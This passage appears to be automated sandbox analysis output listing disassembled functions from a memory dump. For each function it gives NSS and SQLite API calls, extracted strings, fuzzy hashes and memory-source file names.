Instruction Fuzzy Hash: DA22BE716087418FC744CFA9C49062BBBE1FFCA344F148A2DE8DA97691DB39E945CB42

Function 6CF49D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CE08637,?,?), ref: 6CF49E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CE08637), ref: 6CF49ED6

Strings

%s at line %d of [%.10s], xrefs: 6CF49ECF
database corruption, xrefs: 6CF49ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF49EC0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 37753eb6d0358ba222078b8bcb431936972f12cb5aef7bcf63b0dca2ed667dc0
Instruction ID: faa86e47953cb1c611482b34d9e7d72544b038d9b3eebd25109bf4c5f4593f6c
Opcode Fuzzy Hash: 37753eb6d0358ba222078b8bcb431936972f12cb5aef7bcf63b0dca2ed667dc0
Instruction Fuzzy Hash: 7C81A431B011159FCB04CF69C980EDEBBFAEF49314B148529D915AB742EB31EE45CBA0

Function 6CF57F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF581BC

Strings

out of memory, xrefs: 6CF5835B
BINARY, xrefs: 6CF58126

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: c03d282b1e5bc50a1f72f401886de28b97176d87dd3d54cc7ea64c279c7ae18b
Instruction ID: 35b963221066c4954c73eaec9ddff274085a000659e02860056221a3882e52c8
Opcode Fuzzy Hash: c03d282b1e5bc50a1f72f401886de28b97176d87dd3d54cc7ea64c279c7ae18b
Instruction Fuzzy Hash: 7352D071E55218CFDB04CF99C880BAEBBB2FF58308F65816AD915AB751D730A856CF80

Function 6CED9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CED9ED6

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CED9EE4

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED9F38

Part of subcall function 6CEDD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CED9F0B), ref: 6CEDD03B
Part of subcall function 6CEDD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEDD04E
Part of subcall function 6CEDD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEDD07B
Part of subcall function 6CEDD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEDD08E
Part of subcall function 6CEDD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CED9F59

Part of subcall function 6CED9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CED9C5B), ref: 6CED9D82
Part of subcall function 6CED9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CED9C5B), ref: 6CED9DA9
Part of subcall function 6CED9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CED9C5B), ref: 6CED9DCE
Part of subcall function 6CED9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CED9C5B), ref: 6CED9E43

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 18a0dca65407bb9496d8a2bdbd51f64cf7d61c1f2592271e2a394c08281c39c5
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 78112EB5F042015BF7109AA59C117AB7375AF9539CF360238E4098BB40FF61F5178292

Function 6CF8CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8D086
PR_Malloc.NSS3(00000001), ref: 6CF8D0B9
PR_Free.NSS3(?), ref: 6CF8D138

Strings

>, xrefs: 6CF8CF5B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 43824b001ff6a4928fca6054225f74d6739a5063f1e4ca6b696c0d1d17a40cbd
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: D2D16C23B47A470BFB14587D8CA13EA77B38F42374F580326D5618BBE9E6198843C351

Function 6CF2AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6060bb46e9b9d65695fa68b5ba4e27203f33e26efdb04f1524a238c142989a6d
Instruction ID: 4740d51cf3561d873dfc7dc16be6a88612a78313d28c1229ed6637b99d8ae64a
Opcode Fuzzy Hash: 6060bb46e9b9d65695fa68b5ba4e27203f33e26efdb04f1524a238c142989a6d
Instruction Fuzzy Hash: 44F10171F512568FDB44CFA8C8413AB7BF0AB8A308F15862DC906DB754E778AA51CBC1

Function 6CF1DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDF5001,?,00000003,00000000), ref: 6CF1DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDF5001,?), ref: 6CF1E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDF5001,?), ref: 6CF1E2DA

Strings

W, xrefs: 6CF1E111

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 0d28eaf1ef4aecffd81451097a23cc38cd987080deb3fac8b333e29b419721ab
Instruction ID: 10022d40d8582f0394e54245be10295b9fcdf7fab9b2018a7cf7a6862700147a
Opcode Fuzzy Hash: 0d28eaf1ef4aecffd81451097a23cc38cd987080deb3fac8b333e29b419721ab
Instruction Fuzzy Hash: 9AC12B32F0D2958FDB04CF2584947AA7BB2BF86318F294169DCA9ABF41D7319905CBD0

Function 6CEE0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEE1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEE1086

Strings

h(l, xrefs: 6CEE1062, 6CEE105D, 6CEE0F37, 6CEE1081, 6CEE1082
h(l, xrefs: 6CEE0E55, 6CEE0EC4, 6CEE0F3A, 6CEE0FA7

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 25a886cca784d09f0563c2da0e1b42cd95738149892d5b96ac927686a1200fa3
Instruction ID: a2d6650beb3267bd5fbfd5be8f6db508a5cb9517c786600ec9cefa0e0fe06f09
Opcode Fuzzy Hash: 25a886cca784d09f0563c2da0e1b42cd95738149892d5b96ac927686a1200fa3
Instruction Fuzzy Hash: E8A15D71B0124A9FCF08CF99D890AEEBBB6BF4D354B248129E905A7710DB35EC51DB90

Function 6CE06F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CE07049
unordered*, xrefs: 6CE0702B
noskipscan*, xrefs: 6CE07067
*?[, xrefs: 6CE07034, 6CE07052, 6CE07070

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: d525c5184d98cc47c5447a09ed96163d64736a0530c1bc98e442084bfea7f3b2
Instruction ID: 625d8938d7685665eb1f641f08c2ef7c5ae56386ceef3526319b013c294ea390
Opcode Fuzzy Hash: d525c5184d98cc47c5447a09ed96163d64736a0530c1bc98e442084bfea7f3b2
Instruction Fuzzy Hash: 75717972F041114BEB148E6DC88039A73B29F82318F394239CD59ABBD2D6719C6787D2

Function 6CE23EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6CE23FAA, 6CE24185
sqlite_temp_master, xrefs: 6CE2460F
sqlite_master, xrefs: 6CE2463F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 989085095d17e576b6eaa3bef12a5941e38118c946ac8dd464d0130cc5e54e12
Instruction ID: 4b15856c7f4ddeeb9c3a311c55bf0eaa5eb1b8c18fff030c49b5b3ffaec18e6d
Opcode Fuzzy Hash: 989085095d17e576b6eaa3bef12a5941e38118c946ac8dd464d0130cc5e54e12
Instruction Fuzzy Hash: B2224D31B495958FEB458B6580607BA7BF2AF4731CB7C459AC9E19FB42C22DEC42C780

Function 6CF5BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF5C0B6

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: c0897baac1d28766edbb27e3ec96c9adce99f321fe463160c3be04dd95e19e59
Instruction ID: ee78b50bff710dda951ee52d0a3675d8cdefc03fa524a0a3d7584aff56f26a51
Opcode Fuzzy Hash: c0897baac1d28766edbb27e3ec96c9adce99f321fe463160c3be04dd95e19e59
Instruction Fuzzy Hash: F1928074A002098FDB05DF94C890BAEB7B2FF58308F684168D616ABB91D735ED56CB90

Function 6CDF3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDF3EA9

Strings

0, xrefs: 6CDF3DAB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: a699311f3dc86479883dce516581271a3be7903488e22d2044b2abc26873dc2e
Instruction ID: 8032bf0d323574421981e5a474975a833f014b442123de8a57ef84ef6b18b5fa
Opcode Fuzzy Hash: a699311f3dc86479883dce516581271a3be7903488e22d2044b2abc26873dc2e
Instruction Fuzzy Hash: 32513871E491B98ADB15477C88603FFBBB1AF42314F1B4329C5B5ABAE0D234854787A2

Function 6CE9EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE9F0F9

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3a96ae2670e9ddef697c0972d64d9b4c89f2dd830f3e0519e4bcbbae98eb71df
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 2D918E71A0071A8BCB14CF69C8916AEB7F1BF85324F24462DE966A7BC0D734A905CB91

Function 6CEC2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEE7929), ref: 6CEC2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEE7929), ref: 6CEC2FE0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 8e9eea5ecce86f5557555562bc10f7ed8f7b156b264458ac52aca1dcbcf12dc6
Instruction ID: 233d3a2dfe0ea219cbfe742b2c5654f949cf5fc9ed099a135248304457acea1b
Opcode Fuzzy Hash: 8e9eea5ecce86f5557555562bc10f7ed8f7b156b264458ac52aca1dcbcf12dc6
Instruction Fuzzy Hash: 9A51D372B049518FD7108E59CA82BEA73B1FB4631CF354129DD29ABB02D735E946CB83

Function 6CE0AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE0AE9F
winUnlock, xrefs: 6CE0AE18

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9ba6464cfdb40b3cde8b0939811961e99e94d3098e120cbc81ac8563b73a9445
Instruction ID: 725fc3ea98c6c80519461994d12f037f790c9680fd9dee9362f29de36f112ddb
Opcode Fuzzy Hash: 9ba6464cfdb40b3cde8b0939811961e99e94d3098e120cbc81ac8563b73a9445
Instruction Fuzzy Hash: 19717D71B182449BDB54CF28D885BABBBF5FF89314F14C618E94997301D730AA868BC1

Function 6CECED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CECEE3D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 1fb0c6047e08d7a02040fba6c54b4f69ee106c7c736e17892a0668535ee5e220
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6571F472F01B018FD718CF59C98266AB7F2AB88308F24462DD86697B91D734E901CB92

Function 6CDF5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CDF6013

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: e6863039887915ac043892a81abbc7c7bc0e01ab3f7717c04881bcf5ab3bcef6
Instruction ID: a236fd294bcbe4d5366530dfce2586e6572aa52035f10c63d5a93eb12b9e8d00
Opcode Fuzzy Hash: e6863039887915ac043892a81abbc7c7bc0e01ab3f7717c04881bcf5ab3bcef6
Instruction Fuzzy Hash: FEC1B170A04606CBEB048F55C4517AEB7F2BF45318F2A8269D9B5DBF62D731E8838790

Function 6CE04DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE05125

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

